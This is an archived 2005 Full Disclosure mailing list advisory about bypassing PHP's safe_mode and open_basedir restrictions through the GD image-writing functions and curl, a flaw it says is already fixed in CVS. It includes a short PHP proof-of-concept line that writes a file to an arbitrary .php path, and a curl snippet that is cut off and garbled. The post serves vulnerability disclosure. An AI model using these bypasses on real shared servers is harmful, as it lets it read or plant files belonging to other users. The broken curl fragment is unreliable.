Home page logo

fulldisclosure logo Full Disclosure mailing list archives

PHP Safedir Restriction Bypass Vulnerabilities
From: peter MC tachatte <slythers () gmail com>
Date: Mon, 17 Oct 2005 22:55:26 +0200

There is a vulnerability (Safedir Restriction Bypass) identified within the
GD extension affecting
the following functions:
- imagegif()
- imagepng()
- imagejpeg()

in /ext/gd/gd.c line 1647

Which is now fixed in the cvs

with an image like
$im = imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');

curl openbasedir and safemode bypass.


$ch = curl_init("


echo $file;

As you notice, we can bypass the safedir which leads to access to any
files on any shared servers.

This is fixed in the cvs.
 slythers () gmail com
greets: david coallier <davidc () php net>
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]